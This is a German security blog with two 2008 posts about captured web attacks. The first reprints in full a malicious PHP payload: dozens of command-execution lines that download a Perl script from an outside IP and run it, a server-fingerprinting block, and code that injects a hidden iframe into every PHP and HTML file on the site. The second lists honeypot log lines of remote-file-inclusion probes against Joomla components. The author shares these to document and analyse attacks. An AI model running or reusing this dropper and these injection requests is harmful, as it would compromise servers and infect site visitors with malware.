Saturday, June 21. 2008
[malware]adu/idku.txt??
...seitdem sich eine meiner domains in den suchmaschinen etabliert hat,
kommen einige sachen, die ich erst mal "beantworten" muss :)
adu/idku.txt Google Search
kommen einige sachen, die ich erst mal "beantworten" muss :)
adu/idku.txt Google Search
CODE:
<?
@passthru('cd /tmp;wget http://203.113.6.34/adu/indo.txt;perl indo.txt;rm -f indo.txt*');
@passthru('cd /tmp;curl -O http://203.113.6.34/adu/indo.txt;perl indo.txt;rm -f indo.txt*');
@passthru('cd /tmp;lwp-download http://203.113.6.34/adu/indo.txt;perl indo.txt;rm -f indo.txt*');
@passthru('cd /tmp;lynx -source http://203.113.6.34/adu/indo.txt >indo.txt;perl indo.txt;rm -f indo.txt*');
@passthru('cd /tmp;fetch http://203.113.6.34/adu/indo.txt > indo.txt;perl indo.txt;rm -f indo.txt*');
@passthru('cd /tmp;GET http://203.113.6.34/adu/indo.txt > indo.txt;perl indo.txt;rm -f indo.txt*');
@passthru('cd /var/tmp;wget http://203.113.6.34/adu/indo.txt;perl indo.txt;rm -f indo.txt*');
@passthru('cd /var/tmp;curl -O http://203.113.6.34/adu/indo.txt;perl indo.txt;rm -f indo.txt*');
@passthru('cd /var/tmp;lwp-downloadhttp://203.113.6.34/adu/indo.txt;perl indo.txt;rm -f indo.txt*');
@passthru('cd /var/tmp;fetch http://203.113.6.34/adu/indo.txt > indo.txt;perl indo.txt;rm -f indo.txt*');
@passthru('cd /var/tmp;GET http://203.113.6.34/adu/indo.txt > indo.txt;perl indo.txt;rm -f indo.txt*');
@system('cd /tmp;wget http://203.113.6.34/adu/indo.txt;perl indo.txt;rm -f indo.txt*');
@system('cd /tmp;curl -O http://203.113.6.34/adu/indo.txt;perl indo.txt;rm -f indo.txt*');
@system('cd /tmp;lwp-download http://203.113.6.34/adu/indo.txt;perl indo.txt;rm -f indo.txt*');
@system('cd /tmp;lynx -source http://203.113.6.34/adu/indo.txt >indo.txt;perl indo.txt;rm -f indo.txt*');
@system('cd /tmp;fetch http://203.113.6.34/adu/indo.txt > indo.txt;perl indo.txt;rm -f indo.txt*');
@system('cd /tmp;GET http://203.113.6.34/adu/indo.txt > indo.txt;perl indo.txt;rm -f indo.txt*');
@system('cd /var/tmp;wget http://203.113.6.34/adu/indo.txt;perl indo.txt;rm -f indo.txt*');
@system('cd /var/tmp;curl -O http://203.113.6.34/adu/indo.txt;perl indo.txt;rm -f indo.txt*');
@system('cd /var/tmp;lwp-download http://203.113.6.34/adu/indo.txt;perl indo.txt;rm -f indo.txt*');
@system('cd /var/tmp;fetch http://203.113.6.34/adu/indo.txt > indo.txt;perl indo.txt;rm -f indo.txt*');
@system('cd /var/tmp;GET http://203.113.6.34/adu/indo.txt > indo.txt;perl indo.txt;rm -f indo.txt*');
@exec('cd /tmp;wget http://203.113.6.34/adu/indo.txt;perl indo.txt;rm -f indo.txt*');
@exec('cd /tmp;curl -O http://203.113.6.34/adu/indo.txt;perl indo.txt;rm -f indo.txt*');
@exec('cd /tmp;lwp-download http://203.113.6.34/adu/indo.txt;perl indo.txt;rm -f indo.txt*');
@exec('cd /tmp;lynx -source http://203.113.6.34/adu/indo.txt >indo.txt;perl indo.txt;rm -f indo.txt*');
@exec('cd /tmp;fetch http://203.113.6.34/adu/indo.txt > indo.txt;perl indo.txt;rm -f indo.txt*');
@exec('cd /tmp;GET http://203.113.6.34/adu/indo.txt > indo.txt;perl indo.txt;rm -f indo.txt*');
@exec('cd /var/tmp;wget http://203.113.6.34/adu/indo.txt;perl indo.txt;rm -f indo.txt*');
@exec('cd /var/tmp;curl -O http://203.113.6.34/adu/indo.txt;perl indo.txt;rm -f indo.txt*');
@exec('cd /var/tmp;lwp-download http://203.113.6.34/adu/indo.txt;perl indo.txt;rm -f indo.txt*');
@exec('cd /var/tmp;fetch http://203.113.6.34/adu/indo.txt > indo.txt;perl indo.txt;rm -f indo.txt*');
@exec('cd /var/tmp;GET http://203.113.6.34/adu/indo.txt > indo.txt;perl indo.txt;rm -f indo.txt*');
@popen('cd /tmp;wget http://203.113.6.34/adu/indo.txt;perl indo.txt;rm -f indo.txt*');
@popen('cd /tmp;curl -O http://203.113.6.34/adu/indo.txt;perl indo.txt;rm -f indo.txt*');
@popen('cd /tmp;lwp-download http://203.113.6.34/adu/indo.txt;perl indo.txt;rm -f indo.txt*');
@popen('cd /tmp;lynx -source http://203.113.6.34/adu/indo.txt >indo.txt;perl indo.txt;rm -f indo.txt*');
@popen('cd /tmp;fetch http://203.113.6.34/adu/indo.txt > indo.txt;perl indo.txt;rm -f indo.txt*');
@popen('cd /tmp;GET http://203.113.6.34/adu/indo.txt > indo.txt;perl indo.txt;rm -f indo.txt*');
@popen('cd /var/tmp;wget http://203.113.6.34/adu/indo.txt;perl indo.txt;rm -f indo.txt*');
@popen('cd /var/tmp;curl -O http://203.113.6.34/adu/indo.txt;perl indo.txt;rm -f indo.txt*');
@popen('cd /var/tmp;lwp-download http://203.113.6.34/adu/indo.txt;perl indo.txt;rm -f indo.txt*');
@popen('cd /var/tmp;fetch http://203.113.6.34/adu/indo.txt > indo.txt;perl indo.txt;rm -f indo.txt*');
@popen('cd /var/tmp;GET http://203.113.6.34/adu/indo.txt > indo.txt;perl indo.txt;rm -f indo.txt*');
@shell_exec('cd /tmp;wget http://203.113.6.34/adu/indo.txt;perl indo.txt;rm -f indo.txt*');
@shell_exec('cd /tmp;curl -O http://203.113.6.34/adu/indo.txt;perl indo.txt;rm -f indo.txt*');
@shell_exec('cd /tmp;lwp-download http://203.113.6.34/adu/indo.txt;perl indo.txt;rm -f indo.txt*');
@shell_exec('cd /tmp;lynx -source http://203.113.6.34/adu/indo.txt >indo.txt;perl indo.txt;rm -f indo.txt*');
@shell_exec('cd /tmp;fetch http://203.113.6.34/adu/indo.txt > indo.txt;perl indo.txt;rm -f indo.txt*');
@shell_exec('cd /tmp;GET http://203.113.6.34/adu/indo.txt > indo.txt;perl indo.txt;rm -f indo.txt*');
@shell_exec('cd /var/tmp;wget http://203.113.6.34/adu/indo.txt;perl indo.txt;rm -f indo.txt*');
@shell_exec('cd /var/tmp;curl -O http://203.113.6.34/adu/indo.txt;perl indo.txt;rm -f indo.txt*');
@shell_exec('cd /var/tmp;lwp-download http://203.113.6.34/adu/indo.txt;perl indo.txt;rm -f indo.txt*');
@shell_exec('cd /var/tmp;fetch http://203.113.6.34/adu/indo.txt > indo.txt;perl indo.txt;rm -f indo.txt*');
@shell_exec('cd /var/tmp;GET http://203.113.6.34/adu/indo.txt > indo.txt;perl indo.txt;rm -f indo.txt*');
@passthru('cd /tmp;wget http://203.113.6.34/adu/indo.txt;perl indo.txt;rm -f indo.txt*');
@passthru('cd /tmp;curl -O http://203.113.6.34/adu/indo.txt;perl indo.txt;rm -f indo.txt*');
@passthru('cd /tmp;lwp-download http://203.113.6.34/adu/indo.txt;perl indo.txt;rm -f indo.txt*');
@passthru('cd /tmp;lynx -source http://203.113.6.34/adu/indo.txt >indo.txt;perl indo.txt;rm -f indo.txt*');
@passthru('cd /tmp;fetch http://203.113.6.34/adu/indo.txt > indo.txt;perl indo.txt;rm -f indo.txt*');
@passthru('cd /tmp;GET http://203.113.6.34/adu/indo.txt > indo.txt;perl indo.txt;rm -f indo.txt*');
@passthru('cd /var/tmp;wget http://203.113.6.34/adu/indo.txt;perl indo.txt;rm -f indo.txt*');
@passthru('cd /var/tmp;curl -O http://203.113.6.34/adu/indo.txt;perl indo.txt;rm -f indo.txt*');
@passthru('cd /var/tmp;lwp-download http://203.113.6.34/adu/indo.txt;perl indo.txt;rm -f indo.txt*');
@passthru('cd /var/tmp;fetch http://203.113.6.34/adu/indo.txt > indo.txt;perl indo.txt;rm -f indo.txt*');
@passthru('cd /var/tmp;GET http://203.113.6.34/adu/indo.txt > indo.txt;perl indo.txt;rm -f indo.txt*');
@system('cd /tmp;wget http://203.113.6.34/adu/indo.txt;perl indo.txt;rm -f indo.txt*');
@system('cd /tmp;curl -O http://203.113.6.34/adu/indo.txt;perl indo.txt;rm -f indo.txt*');
@system('cd /tmp;lwp-download http://203.113.6.34/adu/indo.txt;perl indo.txt;rm -f indo.txt*');
@system('cd /tmp;lynx -source http://203.113.6.34/adu/indo.txt >indo.txt;perl indo.txt;rm -f indo.txt*');
@system('cd /tmp;fetch http://203.113.6.34/adu/indo.txt > indo.txt;perl indo.txt;rm -f indo.txt*');
@system('cd /tmp;GET http://203.113.6.34/adu/indo.txt > indo.txt;perl indo.txt;rm -f indo.txt*');
@system('cd /var/tmp;wget http://203.113.6.34/adu/indo.txt;perl indo.txt;rm -f indo.txt*');
@system('cd /var/tmp;curl -O http://203.113.6.34/adu/indo.txt;perl indo.txt;rm -f indo.txt*');
@system('cd /var/tmp;lwp-download http://203.113.6.34/adu/indo.txt;perl indo.txt;rm -f indo.txt*');
@system('cd /var/tmp;fetch http://203.113.6.34/adu/indo.txt > indo.txt;perl indo.txt;rm -f indo.txt*');
@system('cd /var/tmp;GET http://203.113.6.34/adu/indo.txt > indo.txt;perl indo.txt;rm -f indo.txt*');
@exec('cd /tmp;wget http://203.113.6.34/adu/indo.txt;perl indo.txt;rm -f indo.txt*');
@exec('cd /tmp;curl -O http://203.113.6.34/adu/indo.txt;perl indo.txt;rm -f indo.txt*');
@exec('cd /tmp;lwp-download http://203.113.6.34/adu/indo.txt;perl indo.txt;rm -f indo.txt*');
@exec('cd /tmp;lynx -source http://203.113.6.34/adu/indo.txt >indo.txt;perl indo.txt;rm -f indo.txt*');
@exec('cd /tmp;fetch http://203.113.6.34/adu/indo.txt > indo.txt;perl indo.txt;rm -f indo.txt*');
@exec('cd /tmp;GET http://203.113.6.34/adu/indo.txt > indo.txt;perl indo.txt;rm -f indo.txt*');
@exec('cd /var/tmp;wget http://203.113.6.34/adu/indo.txt;perl indo.txt;rm -f indo.txt*');
@exec('cd /var/tmp;curl -O http://203.113.6.34/adu/indo.txt;perl indo.txt;rm -f indo.txt*');
@exec('cd /var/tmp;lwp-download http://203.113.6.34/adu/indo.txt;perl indo.txt;rm -f indo.txt*');
@exec('cd /var/tmp;fetch http://203.113.6.34/adu/indo.txt > indo.txt;perl indo.txt;rm -f indo.txt*');
@exec('cd /var/tmp;GET http://203.113.6.34/adu/indo.txt > indo.txt;perl indo.txt;rm -f indo.txt*');
@popen('cd /tmp;wget http://203.113.6.34/adu/indo.txt;perl indo.txt;rm -f indo.txt*');
@popen('cd /tmp;curl -O http://203.113.6.34/adu/indo.txt;perl indo.txt;rm -f indo.txt*');
@popen('cd /tmp;lwp-download http://203.113.6.34/adu/indo.txt;perl indo.txt;rm -f indo.txt*');
@popen('cd /tmp;lynx -source http://203.113.6.34/adu/indo.txt >indo.txt;perl indo.txt;rm -f indo.txt*');
@popen('cd /tmp;fetch http://203.113.6.34/adu/indo.txt > indo.txt;perl indo.txt;rm -f indo.txt*');
@popen('cd /tmp;GET http://203.113.6.34/adu/indo.txt > indo.txt;perl indo.txt;rm -f indo.txt*');
@popen('cd /var/tmp;wget http://203.113.6.34/adu/indo.txt;perl indo.txt;rm -f indo.txt*');
@popen('cd /var/tmp;curl -O http://203.113.6.34/adu/indo.txt;perl indo.txt;rm -f indo.txt*');
@popen('cd /var/tmp;lwp-download http://203.113.6.34/adu/indo.txt;perl indo.txt;rm -f indo.txt*');
@popen('cd /var/tmp;fetch http://203.113.6.34/adu/indo.txt > indo.txt;perl indo.txt;rm -f indo.txt*');
@popen('cd /var/tmp;GET http://203.113.6.34/adu/indo.txt > indo.txt;perl indo.txt;rm -f indo.txt*');
@shell_exec('cd /tmp;wget http://203.113.6.34/adu/indo.txt;perl indo.txt;rm -f indo.txt*');
@shell_exec('cd /tmp;curl -O http://203.113.6.34/adu/indo.txt;perl indo.txt;rm -f indo.txt*');
@shell_exec('cd /tmp;lwp-download http://203.113.6.34/adu/indo.txt;perl indo.txt;rm -f indo.txt*');
@shell_exec('cd /tmp;lynx -source http://203.113.6.34/adu/indo.txt >indo.txt;perl indo.txt;rm -f indo.txt*');
@shell_exec('cd /tmp;fetch http://203.113.6.34/adu/indo.txt > indo.txt;perl indo.txt;rm -f indo.txt*');
@shell_exec('cd /tmp;GET http://203.113.6.34/adu/indo.txt > indo.txt;perl indo.txt;rm -f indo.txt*');
@shell_exec('cd /var/tmp;wget http://203.113.6.34/adu/indo.txt;perl indo.txt;rm -f indo.txt*');
@shell_exec('cd /var/tmp;curl -O http://203.113.6.34/adu/indo.txt;perl indo.txt;rm -f indo.txt*');
@shell_exec('cd /var/tmp;lwp-download http://203.113.6.34/adu/indo.txt;perl indo.txt;rm -f indo.txt*');
@shell_exec('cd /var/tmp;fetch http://203.113.6.34/adu/indo.txt > indo.txt;perl indo.txt;rm -f indo.txt*');
@shell_exec('cd /var/tmp;GET http://203.113.6.34/adu/indo.txt > indo.txt;perl indo.txt;rm -f indo.txt*');
@passthru('cd /tmp;wget http://203.113.6.34/adu/indo.txt;perl indo.txt;rm -f indo.txt*');
@passthru('cd /tmp;curl -O http://203.113.6.34/adu/indo.txt;perl indo.txt;rm -f indo.txt*');
@passthru('cd /tmp;lwp-download http://203.113.6.34/adu/indo.txt;perl indo.txt;rm -f indo.txt*');
@passthru('cd /tmp;lynx -source http://203.113.6.34/adu/indo.txt >indo.txt;perl indo.txt;rm -f indo.txt*');
@passthru('cd /tmp;fetch http://203.113.6.34/adu/indo.txt > indo.txt;perl indo.txt;rm -f indo.txt*');
@passthru('cd /tmp;GET http://203.113.6.34/adu/indo.txt > indo.txt;perl indo.txt;rm -f indo.txt*');
@passthru('cd /var/tmp;wget http://203.113.6.34/adu/indo.txt;perl indo.txt;rm -f indo.txt*');
@passthru('cd /var/tmp;curl -O http://203.113.6.34/adu/indo.txt;perl indo.txt;rm -f indo.txt*');
@passthru('cd /var/tmp;lwp-download http://203.113.6.34/adu/indo.txt;perl indo.txt;rm -f indo.txt*');
@passthru('cd /var/tmp;fetch http://203.113.6.34/adu/indo.txt > indo.txt;perl indo.txt;rm -f indo.txt*');
@passthru('cd /var/tmp;GET http://203.113.6.34/adu/indo.txt > indo.txt;perl indo.txt;rm -f indo.txt*');
@system('cd /tmp;wget http://203.113.6.34/adu/indo.txt;perl indo.txt;rm -f indo.txt*');
@system('cd /tmp;curl -O http://203.113.6.34/adu/indo.txt;perl indo.txt;rm -f indo.txt*');
@system('cd /tmp;lwp-download http://203.113.6.34/adu/indo.txt;perl indo.txt;rm -f indo.txt*');
@system('cd /tmp;lynx -source http://203.113.6.34/adu/indo.txt >indo.txt;perl indo.txt;rm -f indo.txt*');
@system('cd /tmp;fetch http://203.113.6.34/adu/indo.txt > indo.txt;perl indo.txt;rm -f indo.txt*');
@system('cd /tmp;GET http://203.113.6.34/adu/indo.txt > indo.txt;perl indo.txt;rm -f indo.txt*');
@system('cd /var/tmp;wget http://203.113.6.34/adu/indo.txt;perl indo.txt;rm -f indo.txt*');
@system('cd /var/tmp;curl -O http://203.113.6.34/adu/indo.txt;perl indo.txt;rm -f indo.txt*');
@system('cd /var/tmp;lwp-download http://203.113.6.34/adu/indo.txt;perl indo.txt;rm -f indo.txt*');
@system('cd /var/tmp;fetch http://203.113.6.34/adu/indo.txt > indo.txt;perl indo.txt;rm -f indo.txt*');
@system('cd /var/tmp;GET http://203.113.6.34/adu/indo.txt > indo.txt;perl indo.txt;rm -f indo.txt*');
@exec('cd /tmp;wget http://203.113.6.34/adu/indo.txt;perl indo.txt;rm -f indo.txt*');
@exec('cd /tmp;curl -O http://203.113.6.34/adu/indo.txt;perl indo.txt;rm -f indo.txt*');
@exec('cd /tmp;lwp-download http://203.113.6.34/adu/indo.txt;perl indo.txt;rm -f indo.txt*');
@exec('cd /tmp;lynx -source http://203.113.6.34/adu/indo.txt >indo.txt;perl indo.txt;rm -f indo.txt*');
@exec('cd /tmp;fetch http://203.113.6.34/adu/indo.txt > indo.txt;perl indo.txt;rm -f indo.txt*');
@exec('cd /tmp;GET http://203.113.6.34/adu/indo.txt > indo.txt;perl indo.txt;rm -f indo.txt*');
@exec('cd /var/tmp;wget http://203.113.6.34/adu/indo.txt;perl indo.txt;rm -f indo.txt*');
@exec('cd /var/tmp;curl -O http://203.113.6.34/adu/indo.txt;perl indo.txt;rm -f indo.txt*');
@exec('cd /var/tmp;lwp-download http://203.113.6.34/adu/indo.txt;perl indo.txt;rm -f indo.txt*');
@exec('cd /var/tmp;fetch http://203.113.6.34/adu/indo.txt > indo.txt;perl indo.txt;rm -f indo.txt*');
@exec('cd /var/tmp;GET http://203.113.6.34/adu/indo.txt > indo.txt;perl indo.txt;rm -f indo.txt*');
@popen('cd /tmp;wget http://203.113.6.34/adu/indo.txt;perl indo.txt;rm -f indo.txt*');
@popen('cd /tmp;curl -O http://203.113.6.34/adu/indo.txt;perl indo.txt;rm -f indo.txt*');
@popen('cd /tmp;lwp-download http://203.113.6.34/adu/indo.txt;perl indo.txt;rm -f indo.txt*');
@popen('cd /tmp;lynx -source http://203.113.6.34/adu/indo.txt >indo.txt;perl indo.txt;rm -f indo.txt*');
@popen('cd /tmp;fetch http://203.113.6.34/adu/indo.txt > indo.txt;perl indo.txt;rm -f indo.txt*');
@popen('cd /tmp;GET http://203.113.6.34/adu/indo.txt > indo.txt;perl indo.txt;rm -f indo.txt*');
@popen('cd /var/tmp;wget http://203.113.6.34/adu/indo.txt;perl indo.txt;rm -f indo.txt*');
@popen('cd /var/tmp;curl -O http://203.113.6.34/adu/indo.txt;perl indo.txt;rm -f indo.txt*');
@popen('cd /var/tmp;lwp-download http://203.113.6.34/adu/indo.txt;perl indo.txt;rm -f indo.txt*');
@popen('cd /var/tmp;fetch http://203.113.6.34/adu/indo.txt > indo.txt;perl indo.txt;rm -f indo.txt*');
@popen('cd /var/tmp;GET http://203.113.6.34/adu/indo.txt > indo.txt;perl indo.txt;rm -f indo.txt*');
@shell_exec('cd /tmp;wget http://203.113.6.34/adu/indo.txt;perl indo.txt;rm -f indo.txt*');
@shell_exec('cd /tmp;curl -O http://203.113.6.34/adu/indo.txt;perl indo.txt;rm -f indo.txt*');
@shell_exec('cd /tmp;lwp-download http://203.113.6.34/adu/indo.txt;perl indo.txt;rm -f indo.txt*');
@shell_exec('cd /tmp;lynx -source http://203.113.6.34/adu/indo.txt >indo.txt;perl indo.txt;rm -f indo.txt*');
@shell_exec('cd /tmp;fetch http://203.113.6.34/adu/indo.txt > indo.txt;perl indo.txt;rm -f indo.txt*');
@shell_exec('cd /tmp;GET http://203.113.6.34/adu/indo.txt > indo.txt;perl indo.txt;rm -f indo.txt*');
@shell_exec('cd /var/tmp;wget http://203.113.6.34/adu/indo.txt;perl indo.txt;rm -f indo.txt*');
@shell_exec('cd /var/tmp;curl -O http://203.113.6.34/adu/indo.txt;perl indo.txt;rm -f indo.txt*');
@shell_exec('cd /var/tmp;lwp-download http://203.113.6.34/adu/indo.txt;perl indo.txt;rm -f indo.txt*');
@shell_exec('cd /var/tmp;fetch http://203.113.6.34/adu/indo.txt > indo.txt;perl indo.txt;rm -f indo.txt*');
@shell_exec('cd /var/tmp;GET http://203.113.6.34/adu/indo.txt > indo.txt;perl indo.txt;rm -f indo.txt*');
?>
<?php
function ConvertBytes($number)
{
$len = strlen($number);
if($len < 4)
{
return sprintf("%d b", $number);
}
if($len >= 4 && $len <=6)
{
return sprintf("%0.2f Kb", $number/1024);
}
if($len >= 7 && $len <=9)
{
return sprintf("%0.2f Mb", $number/1024/1024);
}
return sprintf("%0.2f Gb", $number/1024/1024/1024);
}
echo "AnakDompu<br />";
$un = @php_uname();
$up = system(uptime);
$id1 = system(id);
$pwd1 = @getcwd();
$sof1 = getenv("SERVER_SOFTWARE");
$php1 = phpversion();
$name1 = $_SERVER['SERVER_NAME'];
$ip1 = gethostbyname($SERVER_ADDR);
$free1= diskfreespace($pwd1);
$free = ConvertBytes(diskfreespace($pwd1));
if (!$free) {$free = 0;}
$all1= disk_total_space($pwd1);
$all = ConvertBytes(disk_total_space($pwd1));
if (!$all) {$all = 0;}
$used = ConvertBytes($all1-$free1);
$os = @PHP_OS;
echo "AnakDompu Was Here!!<br />";
echo "uname -a: $un<br />";
echo "os: $os<br />";
echo "uptime: $up<br />";
echo "id: $id1<br />";
echo "pwd: $pwd1<br />";
echo "php: $php1<br />";
echo "software: $sof1<br />";
echo "server-name: $name1<br />";
echo "server-ip: $ip1<br />";
echo "free: $free<br />";
echo "used: $used<br />";
echo "total: $all<br />";
exit;
if(!isset($_SERVER['DOCUMENT_ROOT']))
{
$n = $_SERVER['SCRIPT_NAME'];
$f = ereg_replace('\\\', '/',$_SERVER["PATH_TRANSLATED"]);
$f = str_replace('//','/',$f);
$_SERVER['DOCUMENT_ROOT'] = eregi_replace($n, "", $f);
}
$codigo = "<IFRAME src="http://203.113.6.34/adu/home.html"
width="0" height="0" frameborder="0"></iframe>\n";
$directorio = $_SERVER['DOCUMENT_ROOT'];
foreach (glob("$directorio/*.php") as $archivo) {
$fp=fopen($archivo,"a+");
fputs($fp,$codigo);
}
foreach (glob("$directorio/*.htm") as $archivh) {
$fp=fopen($archivh,"a+");
fputs($fp,$codigo);
}
foreach (glob("$directorio/*.html") as $archivl) {
$fp=fopen($archivl,"a+");
fputs($fp,$codigo);
}
?>
Tuesday, June 17. 2008
[honeyd]RFI bots?
ich erstelle gerade ein paar filter-scripte zum auswerten der honeyd logs.
dies hier ist ein beispiel ergebnis für ein script das schlicht nach 'GET' und '=http' und 'nicht honey_domain' und 'nicht Referer' filtert:
die entsprechenden dateien auf www.joerg-krug.de wurden bereits entfernt. die anderen habe ich nicht ausprobiert.
wünsch spässkes. :)
CODE:
"GET /test.php?page=http://www.webhostmedic.com/p.c? HTTP/1.1
"GET //errors.php?error=http://www.bbs-bad-harzburg.de/contenido//contenido/includes/sistem.txt? HTTP/1.1
"GET //pm/add_ons/mail_this_entry/mail_autocheck.php?pm_path=http://www.onyxclub.ru/administrator/components/com_remository/if.txt? HTTP/1.1
"GET //errors.php?error=http://www.pescandoconmosca.cl//images/.bash/id.txt? HTTP/1.1
"GET //errors.php?error=http://www.pescandoconmosca.cl//images/.bash/id.txt? HTTP/1.1
"GET /doc/index.php?option=com_custompages&cpage=http://www.indicce.com/admin/r57.txt? HTTP/1.1
"GET /doc/index.php?option=com_custompages&cpage=http://www.indicce.com/admin/r57.txt? HTTP/1.1
"GET /doc//index.php?option=com_custompages&cpage=http://blog.me.lit.edu.tw/adu/special.txt?? HTTP/1.1
"GET //index.php?option=com_custompages&cpage=http://blog.me.lit.edu.tw/adu/special.txt?? HTTP/1.1
"GET /doc//index.php?option=com_custompages&cpage=http://blog.me.lit.edu.tw/adu/special.txt?? HTTP/1.1
"GET //index.php?option=com_custompages&cpage=http://blog.me.lit.edu.tw/adu/special.txt?? HTTP/1.1
"GET /doc//index.php?option=com_custompages&cpage=http://blog.me.lit.edu.tw/adu/special.txt?? HTTP/1.1
"GET //index.php?option=com_custompages&cpage=http://blog.me.lit.edu.tw/adu/special.txt?? HTTP/1.1
"GET /doc//index.php?option=com_custompages&cpage=http://blog.me.lit.edu.tw/adu/special.txt?? HTTP/1.1
"GET //index.php?option=com_custompages&cpage=http://blog.me.lit.edu.tw/adu/special.txt?? HTTP/1.1
"GET /doc//index.php?option=com_custompages&cpage=http://blog.me.lit.edu.tw/adu/id.txt?? HTTP/1.1
"GET //index.php?option=com_custompages&cpage=http://blog.me.lit.edu.tw/adu/id.txt?? HTTP/1.1
"GET //index.php?option=com_custompages=%A7ionid=&id=&mosConfig_absolute_path=http://fsm.upsi.edu.my/db/31337.txt? HTTP/1.1
"GET /doc//index.php?option=com_custompages=%A7ionid=&id=&mosConfig_absolute_path=http://powderpuffsquad.com/admin/backups/.de/id3.txt? HTTP/1.1
"GET //index.php?option=com_custompages=%A7ionid=&id=&mosConfig_absolute_path=http://powderpuffsquad.com/admin/backups/.de/id3.txt? HTTP/1.1
"GET /doc//index.php?option=com_custompages=%A7ionid=&id=&mosConfig_absolute_path=http://fsm.upsi.edu.my/db/31337.txt? HTTP/1.1
"GET /doc//index.php?option=com_custompages=%A7ionid=&id=&mosConfig_absolute_path=http://medisana.co.kr/test?? HTTP/1.1
"GET //index.php?option=com_custompages=%A7ionid=&id=&mosConfig_absolute_path=http://medisana.co.kr/test?? HTTP/1.1
"GET /doc//index.php?option=com_custompages=%A7ionid=&id=&mosConfig_absolute_path=http://fsm.upsi.edu.my/db/31337.txt? HTTP/1.1
"GET /index.php?option=com_custompages&cpage=http://melangemag.com/amember/plugins/payment/eway/ec.txt? HTTP/1.1
"GET /doc/index.php?option=com_custompages=%A7ionid=&id=&mosConfig_absolute_path=http://fsm.upsi.edu.my/db/31337.txt? HTTP/1.1
"GET //index.php?option=com_custompages=%A7ionid=&id=&mosConfig_absolute_path=http://medisana.co.kr/test?? HTTP/1.1
"GET //index.php?option=com_custompages=%A7ionid=&id=&mosConfig_absolute_path=http://medisana.co.kr/test?? HTTP/1.1
"GET /doc/index.php?option=com_custompages&cpage=http://melangemag.com/amember/plugins/payment/eway/ec.txt? HTTP/1.1
"GET /index.php?option=com_custompages&cpage=http://www.michelangeloservice.it/cache/ec.txt? HTTP/1.1
"GET /doc/index.php?option=com_custompages&cpage=http://www.michelangeloservice.it/cache/ec.txt? HTTP/1.1
"GET /doc/index.php?option=com_custompages&cpage=http://www.dutadewata.com/image/foto/test.txt??? HTTP/1.1
GET /index.php?option=com_custompages&cpage=http://www.dutadewata.com/image/foto/test.txt??? HTTP/1.1
"GET /index.php?option=com_custompages&cpage=http://www.dutadewata.com/image/foto/safe.txt? HTTP/1.1
"GET /doc/index.php?option=com_custompages&cpage=http://www.dutadewata.com/image/foto/safe.txt? HTTP/1.1
"GET //index.php?option=com_custompages&cpage=http://trendbiz.ro/user_media/logo/images/bid.txt? HTTP/1.1
"GET //index.php?option=com_custompages&cpage=http://trendbiz.ro/user_media/logo/images/bid.txt? HTTP/1.1
"GET //index.php?option=com_custompages&cpage=http://petersontrial.info/poll/muie/idpoi.txt?%0D?? HTTP/1.1
"GET /doc//index.php?option=com_custompages&cpage=http://petersontrial.info/poll/muie/idpoi.txt?%0D?? HTTP/1.1
"GET /doc//index.php?option=com_custompages&cpage=http://petersontrial.info/poll/muie/idpoi.txt?%0D?? HTTP/1.1
GET //index.php?option=com_custompages&cpage=http://petersontrial.info/poll/muie/idpoi.txt?%0D?? HTTP/1.1
"GET /doc//index.php?option=com_custompages&cpage=http://petersontrial.info/poll/muie/idpoi.txt?%0D?? HTTP/1.1
"GET //index.php?option=com_custompages&cpage=http://petersontrial.info/poll/muie/idpoi.txt?%0D?? HTTP/1.1
"GET /doc//index.php?option=com_custompages&cpage=http://trendbiz.ro/user_media/logo/images/bid.txt? HTTP/1.1
"GET //index.php?option=com_custompages&cpage=http://trendbiz.ro/user_media/logo/images/bid.txt? HTTP/1.1
"GET //doc//index.php?option=com_custompages&cpage=http://trendbiz.ro/user_media/logo/images/bid.txt? HTTP/1.1
"GET /doc//index.php?option=com_custompages&cpage=http://trendbiz.ro/user_media/logo/images/bid.txt? HTTP/1.1
"GET /doc/index.php?option=com_custompages&cpage=http://trendbiz.ro/user_media/logo/images/bid.txt? HTTP/1.1
"GET /doc//index.php?option=com_custompages&cpage=http://www.avedila.com/avedila/.../memei.jpg?? HTTP/1.1
"GET //index.php?option=com_custompages&cpage=http://www.avedila.com/avedila/.../memei.jpg?? HTTP/1.1
"GET //index.php?option=com_custompages&cpage=http://www.fundacenafv.gob.ve/portal/beleaid.txt? HTTP/1.1
"GET /doc//index.php?option=com_custompages&cpage=http://www.fundacenafv.gob.ve/portal/beleaid.txt? HTTP/1.1
"GET //index.php?option=com_custompages&cpage=http://www.fundacenafv.gob.ve/portal/beleaid.txt? HTTP/1.1
"GET //index.php?option=com_custompages&cpage=http://wiki.sertes.nl/tiki/styles/slides/check.txt? HTTP/1.1
"GET /doc//index.php?option=com_custompages&cpage=http://wiki.sertes.nl/tiki/styles/slides/check.txt? HTTP/1.1
"GET //index.php?option=com_custompages&cpage=http://fsm.upsi.edu.my/db/albid.txt??? HTTP/1.1
"GET //index.php?option=com_custompages&cpage=http://nozyk.org/rob.txt? HTTP/1.1
"GET //index.php?option=com_custompages&cpage=http://fsm.upsi.edu.my/db/31337.txt?? HTTP/1.1
"GET /?option=com_custompages&cpage=http://www.michelangeloservice.it/cache/ec.txt? HTTP/1.1
"GET /doc//index.php?option=com_custompages&cpage=http://www.exceldozai.com//mambots/system/idnews.txt? HTTP/1.1
"GET //index.php?option=com_custompages&cpage=http://www.exceldozai.com//mambots/system/idnews.txt? HTTP/1.1
"GET //pm/add_ons/mail_this_entry/mail_autocheck.php?pm_path=http://201.6.243.67/UP/xs.txt?? HTTP/1.1
"GET //index.php?option=com_custompages&cpage=http://www.mchando.com/board/rgboard/data/.marlon/motd/ooid.txt?? HTTP/1.1
"GET /doc//index.php?option=com_custompages&cpage=http://www.mchando.com/board/rgboard/data/.marlon/motd/ooid.txt?? HTTP/1.1
"GET //index.php?option=com_custompages&cpage=http://www.mchando.com/board/rgboard/data/.marlon/motd/ooid.txt?? HTTP/1.1
"GET //index.php?option=com_custompages&cpage=http://www.mchando.com/board/rgboard/data/.marlon/motd/ooid.txt?? HTTP/1.1
"GET /doc//index.php?option=com_custompages&cpage=http://www.mchando.com/board/rgboard/data/.marlon/motd/ooid.txt?? HTTP/1.1
"GET //index.php?option=com_custompages&cpage=http://www.mchando.com/board/rgboard/data/.marlon/motd/ooid.txt?? HTTP/1.1
"GET /doc///index.php?option=com_custompages=%A7ionid=&id=&mosConfig_absolute_path=http://piauibrlink.web44.net/test.txt??? HTTP/1.1
